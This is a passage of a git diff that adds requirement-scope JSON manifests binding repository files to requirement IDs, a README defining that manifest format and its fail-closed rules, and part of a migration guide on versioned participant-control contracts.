"implementations/python/packages/raes_backend_protocols/observation_capture.py": [ + "EXP-715" + ], + "implementations/python/packages/raes_backend_protocols/observation_manifest.py": [ + "EXP-715" + ], + "implementations/python/packages/raes_contracts/_evidence_content_validation.py": [ + "EXP-708" + ], + "implementations/python/packages/raes_contracts/capture_dimensions.py": [ + "EXP-715" + ], + "implementations/python/packages/raes_contracts/contracts/experiment_analysis.py": [ + "EXP-708" + ], + "implementations/python/packages/raes_contracts/contracts/experiment_conditions.py": [ + "EXP-708" + ], + "implementations/python/packages/raes_contracts/contracts/experiment_run.py": [ + "EXP-708" + ], + "implementations/python/packages/raes_contracts/contracts/experiment_study_run_validation.py": [ + "EXP-708" + ], + "implementations/python/packages/raes_contracts/contracts/observation_capture.py": [ + "EXP-715" + ], + "implementations/python/packages/raes_contracts/evidence_output_validation.py": [ + "EXP-708" + ], + "implementations/python/packages/raes_contracts/evidence_proof.py": [ + "EXP-708" + ], + "implementations/python/packages/raes_contracts/evidence_satisfaction.py": [ + "EXP-708" + ], + "implementations/python/packages/raes_processor/capture_admission.py": [ + "EXP-715" + ], + "implementations/python/tests/test_formal_semantic_validation.py": [ + "EXP-708" + ], + "implementations/python/tests/test_issue_1237_capture_dimensions.py": [ + "EXP-715" + ], + "implementations/python/tests/test_issue_1237_capture_ingress.py": [ + "EXP-715" + ], + "implementations/python/tests/test_issue_1237_evidence_proof.py": [ + "EXP-708" + ], + "implementations/python/tests/test_issue_1237_governance.py": [ + "EXP-708" + ], + "implementations/python/tests/test_issue_1237_output_registry.py": [ + "EXP-708" + ], + "implementations/python/tests/test_issue_1237_requirement_scope.py": [ + "GOV-913" + ], + "implementations/python/tests/test_issue_989_versioned_evidence.py": [ + "EXP-708" + ], + "implementations/python/tests/test_repo_policy_tools.py": [ + "GOV-913" + ], + "implementations/python/tests/test_specification_coverage.py": [ + "EXP-708" + ], + "implementations/python/tests/test_tooling_artifact_policy.py": [ + "GOV-913" + ], + "tools/check_requirement_governance.py": [ + "GOV-913" + ], + "tools/check_specification_coverage.py": [ + "EXP-708" + ], + "tools/formal_semantic_validation/_archival_shape.py": [ + "EXP-708" + ], + "tools/formal_semantic_validation/_baseline.py": [ + "EXP-708" + ], + "tools/formal_semantic_validation/_loading.py": [ + "EXP-708" + ], + "tools/formal_semantic_validation/_releases.py": [ + "EXP-708" + ], + "tools/formal_semantic_validation/_retest.py": [ + "EXP-708" + ], + "tools/formal_semantic_validation/_types.py": [ + "EXP-708" + ], + "tools/nox_support/policy_lanes.py": [ + "GOV-913" + ], + "tools/nox_support/runner.py": [ + "GOV-913" + ], + "tools/policy/requirement_order.yaml": [ + "EXP-708" + ], + "tools/policy/requirement_scope.py": [ + "GOV-913" + ], + "tools/requirement_context.py": [ + "GOV-913" + ], + "docs/research/specification-coverage/historical-artifacts/issue-1237-pre-provenance-sync-release-v16.json": [ + "EXP-708" + ], + "docs/research/formal-semantic-validation/analysis-v19.json": [ + "EXP-708" + ], + "docs/research/formal-semantic-validation/bundles/retest-v19.json": [ + "EXP-708" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v19.json": [ + "EXP-708" + ], + "docs/research/specification-coverage/analysis-v18.json": [ + "EXP-708" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v18.json": [ + "EXP-708" + ], + "docs/research/specification-coverage/execution-snapshot-v18.json": [ + "EXP-708" + ], + "docs/research/specification-coverage/historical-artifacts/issue-1237-pre-materialization-sync-release-v17.json": [ + "EXP-708" + ], + "docs/research/formal-semantic-validation/analysis-v20.json": [ + "EXP-708" + ], + "docs/research/formal-semantic-validation/bundles/retest-v20.json": [ + "EXP-708" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v20.json": [ + "EXP-708" + ], + "docs/research/specification-coverage/analysis-v19.json": [ + "EXP-708" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v19.json": [ + "EXP-708" + ], + "docs/research/specification-coverage/execution-snapshot-v19.json": [ + "EXP-708" + ] + } +} diff --git a/docs/governance/requirement-scopes/1352.json b/docs/governance/requirement-scopes/1352.json new file mode 100644 index 000000000..0d862f009 --- /dev/null +++ b/docs/governance/requirement-scopes/1352.json @@ -0,0 +1,72 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1352, + "primary_requirement_uid": "SEM-235", + "requirement_uids": [ + "SEM-235", + "API-424" + ], + "bindings": { + "docs/decisions/adrs/README.md": [ + "SEM-235" + ], + "docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md": [ + "SEM-235" + ], + "docs/decisions/adrs/adr-111-control-applicability-and-effect-decisions.md": [ + "SEM-235" + ], + "docs/decisions/adrs/adr-index.yaml": [ + "SEM-235" + ], + "docs/decisions/issue-1352-control-applicability-preflight.md": [ + "SEM-235" + ], + "docs/explain/reference/modular-participant-control-contracts.md": [ + "API-424" + ], + "docs/governance/requirement-scopes/1352.json": [ + "SEM-235" + ], + "docs/migration/control-applicability-and-evaluation.md": [ + "API-424" + ], + "docs/requirements/API-424/requirement.md": [ + "API-424" + ], + "docs/requirements/SEM-235/requirement.md": [ + "SEM-235" + ], + "docs/research/control-applicability/cases.md": [ + "SEM-235" + ], + "implementations/python/tests/control_applicability_model.py": [ + "SEM-235" + ], + "implementations/python/tests/test_issue_1352_control_applicability.py": [ + "SEM-235" + ], + "implementations/python/tests/test_issue_1352_governance.py": [ + "SEM-235", + "API-424" + ], + "specs/concept-authority/participant-control.md": [ + "SEM-235" + ], + "specs/formal/participant-semantics/README.md": [ + "SEM-235" + ], + "specs/formal/participant-semantics/control-applicability-and-evaluation.md": [ + "SEM-235" + ], + "specs/formal/participant-semantics/modular-participant-control.md": [ + "SEM-235" + ], + "tools/policy/historical_identity_records.json": [ + "SEM-235" + ], + "tools/policy/requirement_order.yaml": [ + "SEM-235" + ] + } +} diff --git a/docs/governance/requirement-scopes/1353.json b/docs/governance/requirement-scopes/1353.json new file mode 100644 index 000000000..c06764fa9 --- /dev/null +++ b/docs/governance/requirement-scopes/1353.json @@ -0,0 +1,97 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1353, + "primary_requirement_uid": "DSL-111", + "requirement_uids": [ + "DSL-111", + "DSL-142" + ], + "bindings": { + ".github/workflows/ground-control-phase-e.yml": [ + "DSL-111", + "DSL-142" + ], + "docs/decisions/adrs/README.md": [ + "DSL-111", + "DSL-142" + ], + "docs/decisions/adrs/adr-112-external-inject-triggering-and-execution.md": [ + "DSL-111", + "DSL-142" + ], + "docs/decisions/adrs/adr-index.yaml": [ + "DSL-111", + "DSL-142" + ], + "docs/explain/sdl/external-inject-cases.md": [ + "DSL-111", + "DSL-142" + ], + "docs/explain/sdl/external-inject-compatibility.md": [ + "DSL-111", + "DSL-142" + ], + "docs/explain/sdl/issue-1353-external-inject-triggering-preflight.md": [ + "DSL-111", + "DSL-142" + ], + "docs/explain/sdl/runtime-architecture.md": [ + "DSL-111", + "DSL-142" + ], + "docs/explain/sdl/sections.md": [ + "DSL-111", + "DSL-142" + ], + "docs/explain/sdl/validation.md": [ + "DSL-111", + "DSL-142" + ], + "docs/governance/requirement-scopes/1353.json": [ + "DSL-111", + "DSL-142" + ], + "docs/requirements/DSL-111/requirement.md": [ + "DSL-111" + ], + "docs/requirements/DSL-142/requirement.md": [ + "DSL-142" + ], + "implementations/python/tests/test_issue_1313_workflow_policy.py": [ + "DSL-111", + "DSL-142" + ], + "implementations/python/tests/test_issue_1353_external_inject_design.py": [ + "DSL-111", + "DSL-142" + ], + "implementations/python/tests/test_release_workflows.py": [ + "DSL-111", + "DSL-142" + ], + "specs/sdl/external-injects.md": [ + "DSL-111", + "DSL-142" + ], + "specs/sdl/references.md": [ + "DSL-111", + "DSL-142" + ], + "specs/sdl/sections.md": [ + "DSL-111", + "DSL-142" + ], + "tools/policy/historical_identity_records.json": [ + "DSL-111", + "DSL-142" + ], + "tools/policy/requirement_order.yaml": [ + "DSL-111", + "DSL-142" + ], + "tools/tooling_artifact_policy_actions.py": [ + "DSL-111", + "DSL-142" + ] + } +} diff --git a/docs/governance/requirement-scopes/1354.json b/docs/governance/requirement-scopes/1354.json new file mode 100644 index 000000000..a1b4da450 --- /dev/null +++ b/docs/governance/requirement-scopes/1354.json @@ -0,0 +1,78 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1354, + "primary_requirement_uid": "SEM-235", + "requirement_uids": [ + "SEM-235", + "SEM-233" + ], + "bindings": { + "docs/decisions/adrs/README.md": [ + "SEM-235" + ], + "docs/decisions/adrs/adr-101-adversarial-participant-flow-control.md": [ + "SEM-233" + ], + "docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md": [ + "SEM-235" + ], + "docs/decisions/adrs/adr-114-ifc-profile-variability-and-publication.md": [ + "SEM-235" + ], + "docs/decisions/adrs/adr-index.yaml": [ + "SEM-235" + ], + "docs/decisions/issue-1354-ifc-profile-variability-preflight.md": [ + "SEM-235" + ], + "docs/explain/reference/modular-participant-control-contracts.md": [ + "SEM-235" + ], + "docs/governance/requirement-scopes/1354.json": [ + "SEM-235" + ], + "docs/migration/ifc-profile-variability.md": [ + "SEM-235" + ], + "docs/requirements/SEM-233/requirement.md": [ + "SEM-233" + ], + "docs/requirements/SEM-235/requirement.md": [ + "SEM-235" + ], + "docs/research/ifc-profile-variability/cases.md": [ + "SEM-235" + ], + "implementations/python/tests/ifc_profile_variability_model.py": [ + "SEM-235", + "SEM-233" + ], + "implementations/python/tests/test_issue_1354_governance.py": [ + "SEM-235", + "SEM-233" + ], + "implementations/python/tests/test_issue_1354_ifc_profile_variability.py": [ + "SEM-235", + "SEM-233" + ], + "specs/formal/participant-semantics/README.md": [ + "SEM-235" + ], + "specs/formal/participant-semantics/adversarial-flow-control.md": [ + "SEM-233" + ], + "specs/formal/participant-semantics/ifc-profile-variability.md": [ + "SEM-235", + "SEM-233" + ], + "specs/formal/participant-semantics/modular-participant-control.md": [ + "SEM-235" + ], + "tools/policy/historical_identity_records.json": [ + "SEM-235" + ], + "tools/policy/requirement_order.yaml": [ + "SEM-235" + ] + } +} diff --git a/docs/governance/requirement-scopes/1355.json b/docs/governance/requirement-scopes/1355.json new file mode 100644 index 000000000..61af30ddd --- /dev/null +++ b/docs/governance/requirement-scopes/1355.json @@ -0,0 +1,160 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1355, + "primary_requirement_uid": "SEM-234", + "requirement_uids": [ + "SEM-234", + "API-407" + ], + "bindings": { + "docs/decisions/adrs/adr-102-mixed-cross-backend-participant-control.md": [ + "SEM-234" + ], + "docs/decisions/adrs/adr-index.yaml": [ + "SEM-234" + ], + "docs/decisions/issue-1355-executable-mixed-mapping-time-preflight.md": [ + "SEM-234" + ], + "docs/explain/reference/mixed-participant-composition.md": [ + "SEM-234" + ], + "docs/governance/requirement-scopes/1355.json": [ + "SEM-234" + ], + "docs/requirements/API-407/requirement.md": [ + "API-407" + ], + "docs/requirements/SEM-234/requirement.md": [ + "SEM-234" + ], + "docs/research/formal-semantic-validation/index.md": [ + "SEM-234" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v53.json": [ + "SEM-234" + ], + "docs/research/formal-semantic-validation/analysis-v53.json": [ + "SEM-234" + ], + "docs/research/formal-semantic-validation/bundles/retest-v53.json": [ + "SEM-234" + ], + "docs/research/specification-coverage/index.md": [ + "SEM-234" + ], + "docs/research/specification-coverage/execution-snapshot-v53.json": [ + "SEM-234" + ], + "docs/research/specification-coverage/analysis-v53.json": [ + "SEM-234" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1355-v53.json": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/control_plane_store.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/control_plane.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/control_plane_recovery.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/control_plane_resolution_records.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/control_plane_store_local_records.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/control_plane_store_memory.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/mixed_runtime.py": [ + "SEM-234", + "API-407" + ], + "implementations/python/packages/raes_runtime/mixed_runtime_dispatch.py": [ + "SEM-234", + "API-407" + ], + "implementations/python/packages/raes_runtime/mixed_runtime_edge.py": [ + "SEM-234", + "API-407" + ], + "implementations/python/packages/raes_runtime/mixed_runtime_edge_execution.py": [ + "SEM-234", + "API-407" + ], + "implementations/python/packages/raes_runtime/mixed_runtime_handoff.py": [ + "SEM-234", + "API-407" + ], + "implementations/python/packages/raes_runtime/mixed_runtime_handoff_execution.py": [ + "SEM-234", + "API-407" + ], + "implementations/python/packages/raes_runtime/mixed_runtime_phase.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/mixed_runtime_recovery.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/mixed_runtime_result.py": [ + "SEM-234", + "API-407" + ], + "implementations/python/packages/raes_runtime/participant_crossing_action.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_runtime/participant_crossing_boundary.py": [ + "SEM-234" + ], + "implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py": [ + "SEM-234" + ], + "implementations/python/tests/test_issue_1355_mixed_mapping_time.py": [ + "SEM-234", + "API-407" + ], + "implementations/python/tests/test_formal_semantic_validation.py": [ + "SEM-234" + ], + "implementations/python/tests/test_issue_989_versioned_evidence.py": [ + "SEM-234" + ], + "implementations/python/tests/test_specification_coverage.py": [ + "SEM-234" + ], + "specs/formal/participant-semantics/cross-backend-participant-control.md": [ + "SEM-234" + ], + "specs/formal/runtime-contracts/participant-backend-contracts.md": [ + "API-407" + ], + "tools/check_specification_coverage.py": [ + "SEM-234" + ], + "tools/formal_semantic_validation/_baseline.py": [ + "SEM-234" + ], + "tools/formal_semantic_validation/_loading.py": [ + "SEM-234" + ], + "tools/formal_semantic_validation/_release_revisions.py": [ + "SEM-234" + ], + "tools/formal_semantic_validation/_releases.py": [ + "SEM-234" + ], + "tools/formal_semantic_validation/_retest.py": [ + "SEM-234" + ], + "tools/policy/requirement_order.yaml": [ + "SEM-234" + ], + "tools/policy/historical_identity_records.json": [ + "SEM-234" + ] + } +} diff --git a/docs/governance/requirement-scopes/1365.json b/docs/governance/requirement-scopes/1365.json new file mode 100644 index 000000000..4535a5a13 --- /dev/null +++ b/docs/governance/requirement-scopes/1365.json @@ -0,0 +1,244 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1365, + "primary_requirement_uid": "API-424", + "requirement_uids": [ + "API-424" + ], + "bindings": { + "contracts/fixtures/backend-manifest/backend-manifest-v2/valid/stub.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v2/context-invalid/missing-obligation.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v2/invalid/unknown-field.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/dependency-chain.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/optional-failure.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-selection-v2/valid/disjoint-sinks.json": [ + "API-424" + ], + "contracts/schema-publication/entries/backend-manifest-v2.json": [ + "API-424" + ], + "contracts/schema-publication/entries/backend-profile-v1.json": [ + "API-424" + ], + "contracts/schema-publication/entries/participant-control-evaluation-v2.json": [ + "API-424" + ], + "contracts/schema-publication/entries/participant-control-selection-v2.json": [ + "API-424" + ], + "contracts/schemas/backend-manifest/backend-manifest-v2.json": [ + "API-424" + ], + "contracts/schemas/participant-runtime/participant-control-evaluation-v2.json": [ + "API-424" + ], + "contracts/schemas/participant-runtime/participant-control-selection-v2.json": [ + "API-424" + ], + "contracts/schemas/profiles/backend-profile-v1.json": [ + "API-424" + ], + "docs/decisions/issue-1365-applicable-provider-contracts-preflight.md": [ + "API-424" + ], + "docs/explain/reference/modular-participant-control-contracts.md": [ + "API-424" + ], + "docs/governance/requirement-scopes/1365.json": [ + "API-424" + ], + "docs/migration/control-applicability-and-evaluation.md": [ + "API-424" + ], + "docs/public/participant-control.md": [ + "API-424" + ], + "docs/requirements/API-424/requirement.md": [ + "API-424" + ], + "docs/research/formal-semantic-validation/analysis-v55.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/analysis-v56.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/analysis-v57.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/analysis-v58.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/analysis-v59.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/bundles/retest-v55.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/bundles/retest-v56.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/bundles/retest-v57.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/bundles/retest-v58.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/bundles/retest-v59.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v55.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v56.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v57.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v58.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v59.json": [ + "API-424" + ], + "docs/research/formal-semantic-validation/index.md": [ + "API-424" + ], + "docs/research/specification-coverage/analysis-v55.json": [ + "API-424" + ], + "docs/research/specification-coverage/analysis-v56.json": [ + "API-424" + ], + "docs/research/specification-coverage/analysis-v57.json": [ + "API-424" + ], + "docs/research/specification-coverage/analysis-v58.json": [ + "API-424" + ], + "docs/research/specification-coverage/analysis-v59.json": [ + "API-424" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1361-v55.json": [ + "API-424" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v56.json": [ + "API-424" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v57.json": [ + "API-424" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v58.json": [ + "API-424" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v59.json": [ + "API-424" + ], + "docs/research/specification-coverage/execution-snapshot-v55.json": [ + "API-424" + ], + "docs/research/specification-coverage/execution-snapshot-v56.json": [ + "API-424" + ], + "docs/research/specification-coverage/execution-snapshot-v57.json": [ + "API-424" + ], + "docs/research/specification-coverage/execution-snapshot-v58.json": [ + "API-424" + ], + "docs/research/specification-coverage/execution-snapshot-v59.json": [ + "API-424" + ], + "docs/research/specification-coverage/index.md": [ + "API-424" + ], + "implementations/python/packages/raes/observability_plane_semantics.py": [ + "API-424" + ], + "implementations/python/packages/raes_backend_protocols/protocols.py": [ + "API-424" + ], + "implementations/python/packages/raes_conformance/conformance/validators.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/_participant_control_exports.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/bundle_runtime.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_applicability.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_composition_v2.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_decisions_v2.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_evaluation_v2.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_invocation.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_support_v2.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/manifest_authority.py": [ + "API-424" + ], + "implementations/python/tests/test_formal_semantic_validation.py": [ + "API-424" + ], + "implementations/python/tests/test_issue_1365_applicable_contracts.py": [ + "API-424" + ], + "implementations/python/tests/test_issue_989_versioned_evidence.py": [ + "API-424" + ], + "implementations/python/tests/test_specification_coverage.py": [ + "API-424" + ], + "tools/check_specification_coverage.py": [ + "API-424" + ], + "tools/formal_semantic_validation/_baseline.py": [ + "API-424" + ], + "tools/formal_semantic_validation/_loading.py": [ + "API-424" + ], + "tools/formal_semantic_validation/_release_revisions.py": [ + "API-424" + ], + "tools/formal_semantic_validation/_releases.py": [ + "API-424" + ], + "tools/formal_semantic_validation/_retest.py": [ + "API-424" + ], + "tools/generate_contract_schemas.py": [ + "API-424" + ], + "tools/policy/requirement_order.yaml": [ + "API-424" + ] + } +} diff --git a/docs/governance/requirement-scopes/README.md b/docs/governance/requirement-scopes/README.md new file mode 100644 index 000000000..605cf8d0c --- /dev/null +++ b/docs/governance/requirement-scopes/README.md @@ -0,0 +1,51 @@ +# Issue-bound requirement scopes + +An issue that changes artifacts owned by different requirements can record a +reviewed delivery scope in `docs/governance/requirement-scopes/.json`. +This is repository workflow authority, not a public RAES data contract. +Requirement statements and traceability remain in `docs/requirements/`; +phase prerequisites and ownership remain in `tools/policy/requirement_order.yaml`. + +The closed `requirement-scope/v1` object has five fields: + +- `schema_version`: exactly `requirement-scope/v1`. +- `issue_number`: the positive integer from the numeric issue-branch prefix. +- `primary_requirement_uid`: the primary UID passed to existing workflow gates. +- `requirement_uids`: a nonempty, unique list containing the primary and every + assigned UID. Keep this identical to the issue's Requirements section, updated + through Ground Control's issue-requirements operation. +- `bindings`: exact repository-relative filenames mapped to nonempty, unique + lists of scoped UIDs. No glob, directory-prefix, default-owner, or inferred + assignment is supported. Assign the manifest itself and every delivery file. + +Each changed file must have an assignment. Every assigned owner independently +passes its existing status, prerequisite, ownership, and traceability checks. +Shared files must pass **all** assigned owners; a passing check for another UID +cannot compensate for a failure. Every scoped UID is checked even when an +incremental staged diff contains none of its files. Existing exceptions remain +bound to their own UID; missing assignments and invalid scope cannot be waived +through another requirement. This feature introduces no policy exceptions. + +The resolver selects only the issue's canonical filename from the current +branch. In detached CI, the canonical workflow supplies the exact branch through +`RAES_REQUIREMENT_BRANCH`. Otherwise `GITHUB_HEAD_REF`, then the Git branch, +provide context. A primary UID supplied through the existing CLI/environment +must agree with the manifest. The canonical CI resolver, Make/Nox policy, hooks, +and direct requirement checker use the same resolver. Scoped branches cannot +use `--skip-requirement`. + +Unreadable, malformed, duplicate-key, oversized, or symlinked scope authorities +fail closed. A missing scope retains the existing single-UID workflow only when +the canonical path has never been established in the Git index or retained +history (including the integration-base ref). Deleting, renaming, or committing +removal of an established scope fails before any requirement-free skip. History +inspection failures also fail closed; intentional retirement requires a reviewed +change to this lifecycle policy, not deletion of its authority file. Scope data never supplies executable commands, +credentials, remote URLs, or alternate authority paths. The configured +repository requirement source remains offline, and unavailable authority never +falls back to another source. + +Adding another owned file requires a reviewed exact assignment and truthful +traceability on that owner. Adding another UID also requires expanding the +issue's Requirements section and checking its prerequisites. Published delivery +manifests can remain as history; only the matching issue branch activates one. diff --git a/docs/migration/control-applicability-and-evaluation.md b/docs/migration/control-applicability-and-evaluation.md new file mode 100644 index 000000000..f48b68cce --- /dev/null +++ b/docs/migration/control-applicability-and-evaluation.md @@ -0,0 +1,193 @@ +# Control applicability and evaluation migration + +This is the adoption contract for [ADR-111](../decisions/adrs/adr-111-control-applicability-and-effect-decisions.md) +and [CA-01–CA-09](../../specs/formal/participant-semantics/control-applicability-and-evaluation.md). +It defines producer/reader obligations, not a working migrator. Issue #1365 +publishes the v2 contract representation described below; runtime and history +adoption remain separate. + +## Explicit interpretation boundary + +`participant-control-applicability/rev1` identifies the amendment. It is distinct +from `sem-235/rev1`, profile revisions, wire `participant-control-selection/v1` +and `participant-control-evaluation/v1`, and `participant-control-provider/v1`. +Issue #1365 publishes `participant-control-selection/v2`, +`participant-control-evaluation/v2` and `participant-control-provider/v2` as +separately negotiated contracts for the amendment. +New invocation semantics must not be inferred from a `resolve` method or the +presence/absence of optional fields. Retain separate semantic, profile, +protocol, schema-content, implementation and storage pins. + +The current selection/evaluation schemas have draft stability under ADR-061. +Their publication process may permit recorded changes in place; that does not +make old and new meanings interchangeable. Adoption must introduce an explicit +interpretation discriminator or new contract lineage, and negotiate exact +schema content and protocol support at apparatus admission. Stable breaking +contracts require a new contract ID under ADR-061. The #1352 design delivery +published no schema or protocol; #1365 uses new contract IDs and does not open +a deprecation or removal window for v1. + +## Published v2 representation and negotiation (#1365) + +The v2 selection preserves the complete admitted apparatus, exact profile +obligations, binding configuration/authority/provenance and slot support pins. +An evaluation embeds that selection and records total obligation coverage and +the applicable slot subset at its exact context cut. Coverage is independently +resolved from the profile: an absent record, empty applicable discharge or +provider-returned `None` cannot prove inapplicability. Required-input closure +is explicit and a required advisory input must be available even though its +opinion does not decide the parent. V2 invocations bind requested slots, +content-bound predecessor results, an authorized projection and committed or +declared tentative state inputs; result digests bind back to the complete +invocation. Invalid optional output is reduced at that invocation boundary to +a value-independent lost-advice record. The accepted parent decision is an +unscheduled permit, deny or withhold. Effects have their own closed target, +origin, phase and outcome prerequisite, and only an independently authorized +consequence may follow denial or withhold. Decision-local runnable effects are +provisional: `admitted_control_effect_ids_v2` joins them with mandatory +composition before any intent or dispatch enters the commit envelope. Parent +release receipts and release-conditioned state cannot survive failed required +composition. The expected-head commit envelope binds +coverage, results, decision, state proposals, effect intents and consumption; +it is a contract for the incumbent store, not proof of a commit or dispatch. +An explicit required decision to deny or withhold is a complete parent outcome; +it does not count as a failed mandatory slot. Independent consequences may be +admitted for that exact outcome only when no unrelated mandatory blocker +remains. Duplicate effect IDs across provider results are rejected before +effect planning, so result order cannot suppress a request. + +The selection/evaluation schemas, public `ParticipantControlProviderV2` +protocol, corpus examples, publication entries and conformance registry are +published. The v2 conformance entry reports `structural-context-required` and +requires an operator supplied resolver for admitted coverage, installation, +effective API-407 support, exact results, incumbent crossing and IFC fact +owners, safe references and effect authority. +Coverage must discharge an obligation through a slot whose binding selects +that obligation's profile. Lifecycle effects require explicit ordering after +overlapping live-target operations. A realized effect must match a retained +full-payload claim and an operator-resolved earlier committed evaluation that +authorized its phase, parent outcome and effect predecessors, plus its exact +applied owner outcome. The resolver must also supply the authorized state +proposal for each write, including its commit timing; `commit_on` in a provider +record does not authorize itself. +An exact/bounded compatibility claim still needs independently resolved +constraint evidence; the wire relation alone is not proof. A backend's v1 +`participant_modular_control` declaration continues to require the original +v1 contracts. The v2 IDs are available for exact contract declarations, but +neither those declarations nor protocol method presence prove installed v2 +capability. Producers must negotiate the v2 IDs, their content hashes, the +semantic interpretation and provider/v2 before emitting v2 records. Readers +must route by the recorded contract ID; there is no global reducer switch. + +This publication does not change `RuntimeSnapshot`, the RUN-320 provider +scheduler, store/history folds or effect dispatcher. A live apparatus must +wait for coordinated consumer and backend evidence before adopting v2. No +legacy selection, result, claim, budget or pending intent is converted by +importing these models, and a v2 reader must not infer missing coverage from a +v1 record. + +| Artifact | Legacy reader | Amendment-aware reader | +| --- | --- | --- | +| Original selection/evaluation and provider/v1 | Retain original interpretation and constraints. | Select a retained legacy reader, without claiming CA-01–CA-09 satisfaction. | +| Revised coverage/invocation/effect record | Reject unsupported interpretation. | Resolve its exact semantic/protocol/schema pins, then validate closed data and independently trusted context. | +| Historical record missing an unambiguous interpretation pin | Preserve bytes; report the bounded legacy interpretation actually supported. | Use an explicit archive migration disposition backed by original content/release evidence; otherwise report unsupported/unverifiable, never guess new semantics. | +| Archive with both interpretations | Refuse unsupported reconstruction; preserve records. | Route each record through its exact reader; preserve history order, identities and evidence. | +| New live apparatus needing revised semantics | Refuse unsupported admission. | Require support across producer, provider, composition, runtime, store/history and selected downstream consumers. | + +An older reader must never silently ignore new coverage or prerequisite +fields. A new reader must not globally apply the new composition reducer to +all old records. Schema validity alone does not establish compatibility. + +## Conversion of apparatus and requests + +An explicit conversion starts from pinned B and the published profile +obligations. Record source identity/digest, conversion identity, selected +semantic/protocol versions, author decisions and effective limitations. + +1. Preserve the complete apparatus and derive obligation coverage separately. + Do not infer obligations from the slots or results that happen to exist. + Reconstruct inapplicability only from trusted profile/context evidence; + absence and `None` cannot be upgraded into proof. +2. Bind each dependency to its typed predecessor output and consumer input. + A provider/v1 adapter is admissible only for an independently verified + dependency-free supported fragment with exactly the required input/state + semantics. Method wrapping cannot fabricate predecessor consumption. +3. Declare mandatory input closure and support constraints. Previously + advisory availability needed by a mandatory consumer is an explicit author + requirement, while advice content retains no direct veto. Removing a + required dependency or weakening a support threshold is not equivalent + conversion. +4. Convert parent-targeted permit/deny/withhold to unscheduled decisions before + composition. Preserve their target and authority; reject contradictions or + an intent that requires denying an already released parent. Do not change + historical decisions. Other effects bind their own target and exact + execution prerequisites, including parent outcome/disposition conditions. +5. Pin shared-state scope and read versions, permitted writers, state-commit + conditions and the combined parent/effect graph. Missing evidence, ambiguous + sharing, cycles and absent outcome bindings stop conversion. Do not infer + ordering from old array order or supply an invented owner receipt. + +When information is insufficient, an author may make a new explicit design +and admission decision. Preserve the source and record the semantic change; +do not label it a lossless conversion. Exact support requirements cannot become +bounded merely because a provider advertises bounded support. + +## Retained history, state and recovery + +Persisted decisions, parent dispositions, result identities, effect keys, +allocated occurrences, receipts and budgets are immutable. In particular, +`RuntimeSnapshot.__post_init__`, evaluation-history validation, +`causal_state_from_history` and effect dispatch must select the historical +interpretation when loading/folding a legacy record. They must not derive new +executable effects or recalculate old consumption with the amended reducer. + +A legacy record that marked a parent eligible despite a subsequent denial +remains 